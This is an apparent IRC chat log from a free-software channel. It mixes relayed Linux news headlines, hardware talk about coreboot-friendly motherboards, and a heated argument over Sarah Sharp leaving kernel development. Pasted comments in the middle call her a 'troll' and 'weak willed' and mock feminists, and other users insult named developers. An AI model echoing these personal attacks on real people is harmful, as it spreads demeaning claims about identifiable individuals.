| schestowitz | https://twitter.com/Twpalovi/status/651716113538093056 | Oct 07 07:22 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Where is that? | Oct 07 07:22 | |
| msb_ | Marvel's Agents of S.H.I.E.L.D. S03E02 is wonderful! | Oct 07 07:22 |
| schestowitz | One example: http://www.cbsnews.com/news/google-to-unmask-skank-blogger/ | Oct 07 07:23 |
| -TechrightsBot-tr/#techrights-www.cbsnews.com | Google to Unmask "Skank" Blogger - CBS News [ http://ur1.ca/nxvnt ] | Oct 07 07:23 | |
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| *TweetTuxMachines @techmuser favourited 'Proxmox VE 4.0 Has Linux Containers Support, Based...' | Oct 07 08:00 | |
| TweetTuxMachines | @tuxmachines Leftovers: KDE http://t.co/1I64sjKREa | Oct 07 08:00 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 07 08:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: KDE | Tux Machines | Oct 07 08:00 | |
| TweetTuxMachines | @tuxmachines systemd is your friend http://t.co/DvJcpiaeUx | Oct 07 08:09 |
| TweetTuxMachines | (www.linux.it) | Oct 07 08:09 |
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| -TechrightsBot-tr/#techrights-www.linux.it | Emanuele Rocca: systemd is your friend | Oct 07 08:09 | |
| TweetTuxMachines | @tuxmachines How to move the needle in open source | Oct 07 08:09 |
| TweetTuxMachines | http://t.co/G8QpW01O4A (www.tuxmachines.org) | Oct 07 08:09 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How to move the needle in open source | Tux Machines | Oct 07 08:10 | |
| TweetTuxMachines | @tuxmachines Azul Zing goes live on Red Hat Enterprise Linux | Oct 07 08:10 |
| TweetTuxMachines | on Amazon Web Services http://t.co/71YnWu7Qfh | Oct 07 08:10 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Azul Zing goes live on Red Hat Enterprise Linux on Amazon Web Services | Tux Machines | Oct 07 08:10 | |
| schestowitz | https://www.joindiaspora.com/posts/6674034 | Oct 07 08:13 |
| -TechrightsBot-tr/#techrights-Not a Diaspora post? | Oct 07 08:14 | |
| schestowitz | https://www.joindiaspora.com/posts/6674050 | Oct 07 08:14 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #networkmanager is getting a lot better https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ttps://blogs.gnome.org/lkundrak/2015/09/24/fortigate-ssl-vpn-support-added-to-networkmanager/ #freesw | Oct 07 08:14 | |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ) | Oct 07 08:14 | |
| schestowitz | https://www.joindiaspora.com/posts/6674034 | Oct 07 08:14 |
| TweetTuxMachines | @tuxmachines LibreOffice 4.4.6 to Be Last in the Series, New | Oct 07 08:15 |
| TweetTuxMachines | RC Is Out http://t.co/vQgP2SVT4J | Oct 07 08:15 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 07 08:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LibreOffice 4.4.6 to Be Last in the Series, New RC Is Out | Tux Machines | Oct 07 08:15 | |
| TweetTuxMachines | @tuxmachines systemd is your friend http://t.co/tzQyXKthNR | Oct 07 08:15 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 07 08:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | systemd is your friend | Tux Machines | Oct 07 08:15 | |
| TweetTuxMachines | @tuxmachines What Are Linux Meta-packages? | Oct 07 08:15 |
| TweetTuxMachines | http://t.co/YfWtMmaukK (www.tuxmachines.org) | Oct 07 08:15 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | What Are Linux Meta-packages? | Tux Machines | Oct 07 08:15 | |
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| schestowitz | https://twitter.com/Twpalovi/status/651736542382301184 | Oct 07 13:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz How? | Oct 07 13:08 | |
| schestowitz | The #epo can just sue companies or individuals even if it knows they'll win in court. And the legal fees EPO gets covered by EU. | Oct 07 13:09 |
| schestowitz | The EPO already threatens to sue the leader of its staff union. | Oct 07 13:09 |
| schestowitz | The EPO already threatened to sue the leader of its staff union. | Oct 07 13:09 |
| schestowitz | https://twitter.com/AJimenez1988/status/651743814609145856 | Oct 07 13:11 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Simple power politics: when the Left doesn't rule it supports free speech to undermine power. When it rules, censorship ensues. | Oct 07 13:11 | |
| schestowitz | https://twitter.com/bosson/status/651792589998432256 | Oct 07 13:11 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz other thing is glut. "Please use cocoa instead...." Less portable code.... | Oct 07 13:11 | |
| schestowitz | GLUT as in GL? (I used it back in the days to develop a game) | Oct 07 13:12 |
| MinceR | it's on top of opengl, iirc | Oct 07 13:15 |
| MinceR | possibly with glu in between | Oct 07 13:15 |
| TweetTuxMachines | @tuxmachines Down to Business with Major Deployments | Oct 07 13:28 |
| TweetTuxMachines | retweeted by https://t.co/gezQJKETeM (dot.kde.org) | Oct 07 13:28 |
| TweetTuxMachines | @dailylinuxuser | Oct 07 13:28 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | Down to Business with Major Deployments | KDE.news | Oct 07 13:28 | |
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| MinceR | http://securityreactions.tumblr.com/post/130691304438/government-surveillance-programs#_=_ | Oct 07 13:47 |
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| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/z5z2kbKLKX | Oct 07 14:46 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 07 14:47 | |
| TweetTuxMachines | @tuxmachines KDE Signs the User Data Manifesto 2.0 | Oct 07 14:47 |
| TweetTuxMachines | http://t.co/0XgdPVTKjK (www.tuxmachines.org) | Oct 07 14:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KDE Signs the User Data Manifesto 2.0 | Tux Machines | Oct 07 14:47 | |
| TweetTuxMachines | @tuxmachines Valve Makes SteamOS 2.0 the Official Distro, | Oct 07 14:47 |
| TweetTuxMachines | Now Based on Debian 8.2 http://t.co/TfOB3dTxEM | Oct 07 14:47 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 07 14:47 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Valve Makes SteamOS 2.0 the Official Distro, Now Based on Debian 8.2 | Tux Machines | Oct 07 14:47 | |
| schestowitz | https://twitter.com/bosson/status/651838431920803840 | Oct 07 15:27 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz yep... Useful to small visualization projects... | Oct 07 15:27 | |
| schestowitz | I thought it had been deprecated for nearly a decade | Oct 07 15:27 |
| schestowitz | https://twitter.com/bosson/status/651842549364195329 | Oct 07 15:34 |
| -TechrightsBot-tr/#techrights-@bosson: @schestowitz The alternative is to use sdl2, and its not trivial to get working on osx. Glut is trivial anywhere as much as its limited. | Oct 07 15:34 | |
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| schestowitz | https://twitter.com/Messgorough/status/651844026807750656 | Oct 07 15:39 |
| -TechrightsBot-tr/#techrights-@Messgorough: @KhanUR1983 @schestowitz Looks like the time I drew a face on my left scrotum. | Oct 07 15:39 | |
| TweetTuxMachines | @tuxmachines Would the Internet Exist without Linux? Yes. | Oct 07 15:55 |
| TweetTuxMachines | Without Open Source? No http://t.co/JusSyQzlIV | Oct 07 15:55 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 07 15:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Would the Internet Exist without Linux? Yes. Without Open Source? No | Tux Machines | Oct 07 15:55 | |
| TweetTuxMachines | @tuxmachines Open Network Linux Simplifies Open Compute | Oct 07 15:55 |
| TweetTuxMachines | Project Switch Configuration | Oct 07 15:55 |
| TweetTuxMachines | http://t.co/RC2KgBMMeG (www.tuxmachines.org) | Oct 07 15:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Open Network Linux Simplifies Open Compute Project Switch Configuration | Tux Machines | Oct 07 15:55 | |
| TweetTuxMachines | @tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with | Oct 07 15:55 |
| TweetTuxMachines | Linus Torvalds http://t.co/Znu43TepNe | Oct 07 15:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds | Tux Machines | Oct 07 15:55 | |
| TweetTuxMachines | @tuxmachines Android 6.0, Marshmallow: The complete FAQ | Oct 07 16:03 |
| TweetTuxMachines | http://t.co/5xWzSiBS7T (www.computerworld.com) | Oct 07 16:03 |
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| -TechrightsBot-tr/#techrights-www.computerworld.com | Android 6.0, Marshmallow: The complete FAQ | Computerworld | Oct 07 16:03 | |
| TweetTuxMachines | @tuxmachines KDE Signs the User Data Manifesto 2.0 | Oct 07 16:03 |
| TweetTuxMachines | https://t.co/YXWhbCWYo0 (dot.kde.org) | Oct 07 16:03 |
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| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Signs the User Data Manifesto 2.0 | KDE.news | Oct 07 16:03 | |
| TweetTuxMachines | @tuxmachines Valve Makes SteamOS 2.0 the Official Distro, | Oct 07 16:03 |
| TweetTuxMachines | Now Based on Debian 8.2 http://t.co/tW3OkfLJtG | Oct 07 16:03 |
| TweetTuxMachines | (news.softpedia.com) | Oct 07 16:03 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Valve Makes SteamOS 2.0 the Official Distro, Now Based on Debian 8.2 - Softpedia | Oct 07 16:03 | |
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| TweetTuxMachines | @tuxmachines Open Network Linux Simplifies Open Compute | Oct 07 16:03 |
| TweetTuxMachines | Project Switch Configuration | Oct 07 16:03 |
| TweetTuxMachines | http://t.co/CVN9I7rWts (techcrunch.com) | Oct 07 16:03 |
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| -TechrightsBot-tr/#techrights-techcrunch.com | Open Network Linux Simplifies Open Compute Project Switch Configuration | TechCrunch | Oct 07 16:03 | |
| TweetTuxMachines | @tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with | Oct 07 16:04 |
| TweetTuxMachines | Linus Torvalds http://t.co/75P8XiQsb3 | Oct 07 16:04 |
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| -TechrightsBot-tr/#techrights-www.linux.com | LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds | Linux.com | Oct 07 16:04 | |
| TweetTuxMachines | @tuxmachines Intel Just Queued Up More Graphics Changes For | Oct 07 16:04 |
| TweetTuxMachines | The Linux 4.4 Kernel http://t.co/EcGJIM3hJM | Oct 07 16:04 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Intel Just Queued Up More Graphics Changes For The Linux 4.4 Kernel | Tux Machines | Oct 07 16:04 | |
| cubexyz | well, one of my predictions has come true: | Oct 07 16:09 |
| cubexyz | Microsoft has made their own microsoft laptop | Oct 07 16:10 |
| cubexyz | unless people education themselves, and study what is actually happening to computers they will be herded into the Microsoft camp | Oct 07 16:11 |
| cubexyz | I'm not talking about the older people who know better and know what computers were like before Microsoft ever existed (and would never switch to M$) | Oct 07 16:13 |
| cubexyz | I'm mostly talking about the younger people and more casual computer users | Oct 07 16:13 |
| TweetTuxMachines | @tuxmachines Linux Mint Devs Want to Know How Many Gamers | Oct 07 16:17 |
| TweetTuxMachines | Are Using the OS http://t.co/3Gv7bs0p6o | Oct 07 16:17 |
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| schestowitz | https://twitter.com/Twpalovi/status/651867189851627520 | Oct 07 17:15 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz That is the interesting question. | Oct 07 17:15 | |
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| msb_ | cubexyz: It's up to people like us to tell the truth about Microshit and Linux (and to encourage clean Linux without systemd) to inform people so they don't get herded. | Oct 07 17:22 |
| msb_ | schestowitz is doing a very good job at this. But we must do more than we have been. Come up with good hardware/firmware/software solutions and push them -- give the facts behind our choices, not just to individuals but to corporations, | Oct 07 17:25 |
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| msb_ | cubexyz: We need to come up with solutions for people who already have computers, and for those looking to buy new ones. We need to find solutions that don't limit people on computer power, because games, video editing -- see youtube -- and high-compression x265 videos are very popular. | Oct 07 17:28 |
| msb_ | We can't just herd people into chromebooks because they only meet some of the criteria, which include security _and_ state-of-the-cheap-art speed. | Oct 07 17:31 |
| msb_ | People will get very pissed at us if they buy machines according to our recommendations and then find that they can't do things that their friends with crappy windows computers _can_ do, because their friends have 8-core CPUs. | Oct 07 17:33 |
| schestowitz | https://twitter.com/longtheriverrun/status/651875563091660800 | Oct 07 17:44 |
| -TechrightsBot-tr/#techrights-@longtheriverrun: @schestowitz "Kunduz has a largely mixed population, including Tajiks, Pashtuns, Uzbeks, Khowar, Arabs and a few others." wikipedia | Oct 07 17:44 | |
| schestowitz | " | Oct 07 17:53 |
| schestowitz | Not *fucking* cool. Violence, whether it be physical intimidation, verbal threats or verbal abuse is not acceptable. Keep it professional on the mailing lists. | Oct 07 17:53 |
| schestowitz | What the heck? The only thing she could be referring to this thread so far has been Linus talking about Greg being a giant who might "squish you without even noticing". Nobody could seriously interpret that as advocating for violence unless you were so unbelievably literal you'd be unable to handle ordinary conversations. | Oct 07 17:53 |
| schestowitz | And then there's the conflation of "verbal abuse" with "violence". These are two words that mean very different things. And finally the assertion that by trying to make jokes (perhaps not very well), Linus and Ingo were being unprofessional. Not surprisingly, Linus had a problem with this claim. | Oct 07 17:53 |
| schestowitz | Now I don't know, probably this could have been avoided if the discussion with Greg had been private. But it seems Sharp would have let rip at some other point if someone else made an off-colour joke. I can believe LKML is a tough environment, but this isn't the best evidence possible. Perhaps there have been other incidents, but as Sharp doesn't list any, it's hard to say.” | Oct 07 17:53 |
| schestowitz | " | Oct 07 17:53 |
| schestowitz | " | Oct 07 17:54 |
| schestowitz | So she's a social justice warrior troll doing this for attention? Called it earlier. Expect her to have a Patreon account up within a few days, as well as a campaign started explaining why Linus is problematic and needs to be removed from Linux development soon, or how Linux needs a safe space special interest group so feminist coders can submit their commits without being threatened by people pointing out their code sucks. Because remember | Oct 07 17:54 |
| schestowitz | kids, criticism is "Cyber Violence. [popehat.com]"” | Oct 07 17:54 |
| schestowitz | As an aside, she's a blockbot user, so yes, she most definitely is a SJW or a SJW ally: https://twitter.com/sarahsharp | Oct 07 17:54 |
| schestowitz | (If you're blocked and have never even spoken with her, congratulations, you're a member of Randy Harper's blacklist, [leagueforgamers.com] an list of white men, gamers, nerds, conservatives, KFC, President Obama, and other people Randy Harper and her radical feminist friends consider too "problematic" to be allowed to communicate with people in the tech industry.) | Oct 07 17:54 |
| -TechrightsBot-tr/#techrights-twitter.com | Sarah Sharp (@sarahsharp) | Twitter | Oct 07 17:54 | |
| schestowitz | In short: She might be a gifted programmer, but she's a weak willed human being, and her having a professional freakout about Linus making a joke about being intimidating isn't surprising -- it's a calculated maneuver. Expect something else to come up soon -- as mentioned, Linus will be deemed too problematic to be allowed to remain in Linux, or the Professional Victims will demand special treatment for Women in Linux Development. | Oct 07 17:54 |
| schestowitz | " | Oct 07 17:54 |
| schestowitz | " | Oct 07 17:55 |
| schestowitz | Curunir: ”What struck me about what she was trying to do, and I've seen others try to do the same thing, is to equate some comment or comments on a mailing list, or other post, as "violence". When I grew up we learned that "Sticks and stones will break my bones but words will never hurt me." That is, they're just words, they are not fists or knives or guns. It's not "violence" to berate someone or use colorful language or anything else. | Oct 07 17:55 |
| schestowitz | It may "offend" you, but taking offense at something someone says is entirely subjective, and impossible to enforce, because you end up with "speech codes", banning words, and other asinine restrictions until everything is a euphemism or metaphor until no one knows what anyone is talking about any more. | Oct 07 17:55 |
| schestowitz | Bullying used to mean you're getting physically intimidated, punched, kicked, assaulted or robbed regularly. Now it seems it's enough that someone said something that hurt your feelings. And people can get their feelings hurt by things that are totally NOT intended that way by the speaker, just because of the listener's history or viewpoint. | Oct 07 17:55 |
| schestowitz | Equating speech to physical violence is a very dangerous trend that will not end well.” | Oct 07 17:55 |
| schestowitz | " | Oct 07 17:55 |
| schestowitz | " | Oct 07 17:55 |
| schestowitz | EpyT: ”Feminism presents it as a battle between male space or a female space. It's a false dichotomy. The hypocrisy is that feminists expect men to take the 'chivalrous' route and modify their interaction styles for women, yet asking women to reciprocate with some toughness and objectivity is 'oppressive' or 'misogynistic.' The net result is that men are driven out of areas where women have gotten their PC 'safe spaces' for their | Oct 07 17:55 |
| schestowitz | interaction and thinking styles because men do not do well there. Just ask a male nurse. Fighting discrimination with discrimination is not a solution. | Oct 07 17:55 |
| schestowitz | I'm a fan of what works for a given environment and given group of people. The individuals making up the bulk of the effort are the ones who decide the culture simply because they are the most productive. Anything else would drive these productive individuals out and weaken the result. Linus and his lieutenants are far more productive than sarah sharp is, and she is not happy with the interaction style they set, so she goes. No big loss. She' | Oct 07 17:55 |
| schestowitz | s welcome to either adapt to that or work on a different project. If her viewpoint is truly superior and her politics in line with reality, it should be a no brainer to fork the kernel and demonstrate this. The best contributors would flock to her and, in time, her branch would be the technically superior one. She should be showing us 'misogynists' how it's done instead of whining and stirring up shitstorms.” | Oct 07 17:55 |
| schestowitz | " | Oct 07 17:55 |
| schestowitz | " Oxdeadbeef: ”This isn't empowering women. This is arguing that they are weaker than men far more profoundly than any MRA red piller gamer gater misogynist could ever hope to accomplish.” " | Oct 07 17:55 |
| TweetTuxMachines | @tuxmachines Real-time Linux gets a leg up into more complex | Oct 07 18:15 |
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| TweetTuxMachines | cited RMS | Oct 07 18:26 |
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| msb_ | schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link? | Oct 07 18:33 |
| cubexyz | I'm not saying to herd people onto chromebooks | Oct 07 18:35 |
| cubexyz | but that seems one of the better choices at the moment | Oct 07 18:35 |
| msb_ | I know. Sorry if that was implied. | Oct 07 18:35 |
| cubexyz | people should have computers with FOSS BIOS, FOSS operating system, and fully repairable | Oct 07 18:36 |
| msb_ | It's not a good choice if people want to play games, edit videos, or watch x265s, which many do. | Oct 07 18:36 |
| cubexyz | I'm at a loss to suggest anything at the laptop level | Oct 07 18:36 |
| cubexyz | I'm not totally happy with chromebooks either | Oct 07 18:37 |
| msb_ | Yes, they _should_ have that, but we need to come up with solutions that have both a good degree of security and state-of-the-cheap-art speed. | Oct 07 18:38 |
| cubexyz | not modular enough, not fully repairable, uses soldered in memory modules (sometimes) | Oct 07 18:38 |
| msb_ | We can't let the perfect be the enemy of the good. | Oct 07 18:38 |
| msb_ | So we need adequate security, good speed, and suitability for people who already have computers and those looking to buy new ones. | Oct 07 18:40 |
| cubexyz | well they may have what I'd call a bic-lighter computer | Oct 07 18:42 |
| cubexyz | in that case, it's too late | Oct 07 18:42 |
| msb_ | But they can still switch to Linux. | Oct 07 18:43 |
| cubexyz | if you have a crappy motherboard, or a crappy LCD with bad caps, it probably needs to be replaced | Oct 07 18:43 |
| cubexyz | of course, it could be repaired with a lot of effort | Oct 07 18:43 |
| msb_ | That's the ideal, but if the thing still works, a $0 partial solution is better than a $2000 solution (except for rich people). | Oct 07 18:44 |
| cubexyz | I actually have a bunch of laptops to fix | Oct 07 18:45 |
| cubexyz | bad GPU, bad keyboards, bad power supplies | Oct 07 18:45 |
| msb_ | laptop/desktop is the other dimension we have to provide for | Oct 07 18:45 |
| cubexyz | but even after I fix them I doubt anyone will really want them | Oct 07 18:45 |
| msb_ | Load them with Linux and give them to kids. | Oct 07 18:46 |
| msb_ | or schools | Oct 07 18:46 |
| msb_ | brb | Oct 07 18:48 |
| cubexyz | I still have a lot of monitors with VGA connectors so that's a concern too | Oct 07 18:56 |
| TweetTuxMachines | @tuxmachines Humble Indie Bundle 15 Extended to 10 Awesome | Oct 07 19:08 |
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| -TechrightsBot-tr/#techrights-www.develop-online.net | Q.U.B.E: Director's Cut Available on NVidia Shield, Linux, Mac and currently in the latest Humble Indie Bundle! | Games industry press releases | Develop | Oct 07 19:08 | |
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| schestowitz | https://www.reddit.com/r/mistyfront/comments/3nfzg0/the_microsoft_loves_linux_baloney_is_still_being/ | Oct 07 19:11 |
| schestowitz | [23:33] <msb_> schestowitz: Is there some place where Sarah Sharp criticizes Linus personally? Would you please give a link? | Oct 07 19:11 |
| schestowitz | yes, very much so | Oct 07 19:11 |
| -TechrightsBot-tr/#techrights-www.reddit.com | The ‘Microsoft Loves Linux’ Baloney is Still Being Floated in the Media While Microsoft Attacks Linux With Patents, New Lawsuits Reported (/r/linux) : mistyfront [ http://ur1.ca/nyco6 ] | Oct 07 19:11 | |
| schestowitz | "the fish rots from the head" | Oct 07 19:11 |
| schestowitz | that sort of thing | Oct 07 19:11 |
| schestowitz | so they did some changes, press campsign | Oct 07 19:12 |
| schestowitz | and despite that she throws a fit | Oct 07 19:12 |
| schestowitz | this is NOT going to help feminism | Oct 07 19:12 |
| schestowitz | if anything, companies might hesitate to recruit women | Oct 07 19:12 |
| schestowitz | seeing how much damage this can lead to if they feel discriminated against | Oct 07 19:12 |
| schestowitz | so such stuff typically is just drama making which in turn severely harms women's rights | Oct 07 19:12 |
| schestowitz | but let's leave gender out of it for now | Oct 07 19:13 |
| schestowitz | because some other people complain about culture in Linux | Oct 07 19:13 |
| schestowitz | LP too | Oct 07 19:13 |
| schestowitz | "open source tea party" man | Oct 07 19:13 |
| schestowitz | they're usuallly hypocrites | Oct 07 19:13 |
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| MinceR | they can push cancerd together | Oct 07 19:14 |
| MinceR | and global censorship too! | Oct 07 19:14 |
| cubexyz | it's not just Linux | Oct 07 19:15 |
| cubexyz | the BSD community is a bit exclusionistic | Oct 07 19:16 |
| cubexyz | the old US vs Them mentality | Oct 07 19:18 |
| MinceR | msb_: i think it's this one: http://sarah.thesharps.us/2015/10/05/closing-a-door/ | Oct 07 19:24 |
| -TechrightsBot-tr/#techrights-sarah.thesharps.us | Closing a door | The Geekess | Oct 07 19:25 | |
| MinceR | (linked from the hungarian news post on the matter) | Oct 07 19:25 |
| cubexyz | ok, I've found a motherboard that could be very close to ideal | Oct 07 19:29 |
| cubexyz | Gigabyte GA-B75M-D3V | Oct 07 19:29 |
| cubexyz | dual BIOS/UEFI with two 64Mbit flash chips | Oct 07 19:30 |
| cubexyz | good for tinkering | Oct 07 19:30 |
| cubexyz | you can flash it with coreboot without fear of bricking it | Oct 07 19:30 |
| cubexyz | MSI is also worthy of consideration | Oct 07 19:32 |
| cubexyz | the ship firmware update tools for Linux | Oct 07 19:32 |
| cubexyz | s/the/they/ | Oct 07 19:33 |
| cubexyz | looks like the Gigabyte board still has a parallel port and VGA connector, even better | Oct 07 19:35 |
| cubexyz | all solid capacitors | Oct 07 19:36 |
| cubexyz | LGA1155 socket | Oct 07 19:38 |
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| cubexyz | msb_, here is the CPU support list for that motherboard: | Oct 07 19:48 |
| cubexyz | http://www.gigabyte.com/support-downloads/cpu-support-popup.aspx?pid=4654 | Oct 07 19:48 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's leftovers | Tux Machines | Oct 07 19:49 | |
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| cubexyz | Core i3-2120T looks interesting, only 35W | Oct 07 19:49 |
| cubexyz | Xeon E3-1220L only 20W | Oct 07 19:50 |
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| msb_ | This is just about attacks from MS [ http://ur1.ca/nyco6 ]. | Oct 07 19:51 |
| -TechrightsBot-tr/#techrights-www.reddit.com | The ‘Microsoft Loves Linux’ Baloney is Still Being Floated in the Media While Microsoft Attacks Linux With Patents, New Lawsuits Reported (/r/linux) : mistyfront | Oct 07 19:51 | |
| msb_ | This one is relevant -- thanks MinceR -- http://sarah.thesharps.us/2015/10/05/closing-a-door/ . | Oct 07 19:52 |
| -TechrightsBot-tr/#techrights-sarah.thesharps.us | Closing a door | The Geekess | Oct 07 19:52 | |
| msb_ | Even Robert Pogson agrees that "Linus and others are wrong to treat abuse as emphasis. It’s not. It’s bullying," Isn't Pogson a good guy? | Oct 07 19:54 |
| cubexyz | you can disagree with Linus and still be a good guy | Oct 07 19:55 |
| cubexyz | I certainly don't agree with everything he says | Oct 07 19:55 |
| msb_ | Right. That's what I'm saying. | Oct 07 19:55 |
| MinceR | i certainly disagree with him on several matters | Oct 07 19:57 |
| msb_ | He's accepting systemd for one thing. | Oct 07 19:57 |
| MinceR | indeed. also, fedora. | Oct 07 19:57 |
| msb_ | Maybe Sharp is right, and a more civil atmosphere on LKML would have good results, like encouraging more women to participate. An environment that discourages half the human race is not good. | Oct 07 19:59 |
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| MinceR | encouraging people to silence and censor others is also not good | Oct 07 20:00 |
| XFaCE | MinceR: Lennart endorses Garrettix in 5 4 3 2... | Oct 07 20:01 |
| MinceR | continually and increasingly neutering language for the sake of political correctness is also not good | Oct 07 20:01 |
| cubexyz | double plus ungood | Oct 07 20:02 |
| MinceR | http://media.dcentertainment.com/sites/default/files/imce/2015/10-OCT/MAD-Magazine-Ben-Carson-Neurosurges-Himself_56156b98604c96.90064117.jpg | Oct 07 20:02 |
| XFaCE | MinceR: seriously tho, this scares the shit out of me | Oct 07 20:03 |
| msb_ | cubexyz: Are any of the cpus handled by that gigabyte board 8-core, $200, with speed near the AMD FX-8350? | Oct 07 20:03 |
| MinceR | there are plenty of things to scare the shit out of anybody now | Oct 07 20:03 |
| XFaCE | MinceR: Corporate influence "backing" Garrett's kernel | Oct 07 20:04 |
| MinceR | what, garrett forked linux? | Oct 07 20:04 |
| MinceR | apparently so | Oct 07 20:04 |
| XFaCE | yep | Oct 07 20:04 |
| MinceR | can the redcrap guys please fuck off and go pollute garrett's kernel then? | Oct 07 20:04 |
| MinceR | they can take their bloody kdbus too | Oct 07 20:05 |
| XFaCE | if only | Oct 07 20:05 |
| XFaCE | actually no | Oct 07 20:05 |
| XFaCE | MinceR: then an agenda begins | Oct 07 20:05 |
| XFaCE | and Garrettix becomes the "morally good" kernel project | Oct 07 20:05 |
| MinceR | that's fine, i don't plan on using it anyway | Oct 07 20:05 |
| cubexyz | for gaming the experts are saying I5 over AMD | Oct 07 20:07 |
| cubexyz | but I'm not too worried about that | Oct 07 20:07 |
| XFaCE | MinceR: : Garrettux is the only moral choice | Oct 07 20:08 |
| MinceR | the sjws can have systemd/garrettix for all i care | Oct 07 20:08 |
| MinceR | they can even lock gnome and kde into it | Oct 07 20:08 |
| cubexyz | quoting: "i5 2500K >>>>> FX 8150" | Oct 07 20:08 |
| cubexyz | depends on what you use your computer for... for me, it's not a big deal either way | Oct 07 20:08 |
| MinceR | XFaCE: yeah, one more group with their own bullshit "morality", like christians | Oct 07 20:09 |
| XFaCE | MinceR: meet the new boss, same as the old boss | Oct 07 20:09 |
| MinceR | i'm tired of people with unwarranted self-importance but no technical skills trying to fuck up everything for everyone | Oct 07 20:09 |
| msb_ | Abusive language is not necessary for criticizing code. And if it discourages women from participating, then it should not be used. Abusive language is a form of domination, with a winner and a loser. We need to get away from that. | Oct 07 20:11 |
| MinceR | except what they're doing is also a form of domination | Oct 07 20:11 |
| MinceR | what the UN is doing with it should make that obvious. | Oct 07 20:12 |
| XFaCE | MinceR: I just shuddered | Oct 07 20:13 |
| msb_ | Sharp is withdrawing and calmly criticizing. That's not domination. | Oct 07 20:13 |
| XFaCE | MinceR: what if this Garrettix leads to a Microsoft Linux | Oct 07 20:13 |
| MinceR | there have been m$ linuxes for a while already | Oct 07 20:13 |
| MinceR | suse, for example | Oct 07 20:13 |
| XFaCE | yeah but, the kernel itself | Oct 07 20:14 |
| XFaCE | NTLinux or some shit | Oct 07 20:14 |
| MinceR | that's fine, as long as they don't force it on me | Oct 07 20:14 |
| XFaCE | MinceR: I'm betting that'll be the case for 30 seconds | Oct 07 20:14 |
| MinceR | they already have their atrocious code in the official linux tree | Oct 07 20:14 |
| cubexyz | you just have to check everything | Oct 07 20:15 |
| MinceR | it's about as shitty as you'd expect | Oct 07 20:15 |
| cubexyz | check the OS, check the firmware, check the motherboard... | Oct 07 20:15 |
| MinceR | we'd have to build a free computer from the ground up anyway | Oct 07 20:15 |
| XFaCE | cubexyz: Now Systemd can link to your Microsoft account (TM)! | Oct 07 20:15 |
| MinceR | lol | Oct 07 20:15 |
| cubexyz | not on openbsd it can't :) | Oct 07 20:15 |
| cubexyz | I bet I see some conversions... | Oct 07 20:16 |
| XFaCE | microsoftd | Oct 07 20:16 |
| XFaCE | cubexyz: Plan 9 | Oct 07 20:16 |
| XFaCE | Linux-libre too | Oct 07 20:16 |
| msb_ | cubexyz: The i5 2500K costs twice as much as the FX-8350 $360 vs $180, and gives 2/3 the power 6000 vs 9000 | Oct 07 20:20 |
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| msb_ | Women are inherently just as good at technical stuff as men. I read decades ago that half the mathematicians in Russia and Italy are women. | Oct 07 20:23 |
| MinceR | who said they weren't? | Oct 07 20:25 |
| msb_ | Nobody, but if chronically abusive language in the LKML discourages them from participating in kernel design, that's a good reason to change the language, since the same criticisms of the code can still be communicated. | Oct 07 20:27 |
| MinceR | if it's people like garrett and poettering, then perhaps it's a good thing they're discouraged from participating | Oct 07 20:29 |
| MinceR | do you have any concrete examples of this "chronically abusive language"? | Oct 07 20:30 |
| msb_ | Linus is famous for it. | Oct 07 20:31 |
| MinceR | do you have any concrete examples? | Oct 07 20:31 |
| MinceR | especially ones that discourage people from participating, as opposed to discouraging people from trying to push stupid shit into the kernel | Oct 07 20:31 |
| msb_ | google for Linus abusive language 64000 hits | Oct 07 20:33 |
| MinceR | do you not have access to google? | Oct 07 20:33 |
| msb_ | The problem is that abusive language "discouraging people from trying to push stupid shit into the kernel" also creates an intimidating atmosphere for other people. | Oct 07 20:34 |
| msb_ | And it's unnecessary. | Oct 07 20:35 |
| MinceR | so every patch should be integrated into the mainline kernel, lest somebody be offended? | Oct 07 20:35 |
| MinceR | also, how is giving feedback on people's code and designs "unnecessary"? | Oct 07 20:35 |
| msb_ | You totally misinterpreted what I said. | Oct 07 20:35 |
| msb_ | and you did it again. | Oct 07 20:35 |
| MinceR | does all code have equal right to run on my computer? | Oct 07 20:35 |
| msb_ | #3 | Oct 07 20:36 |
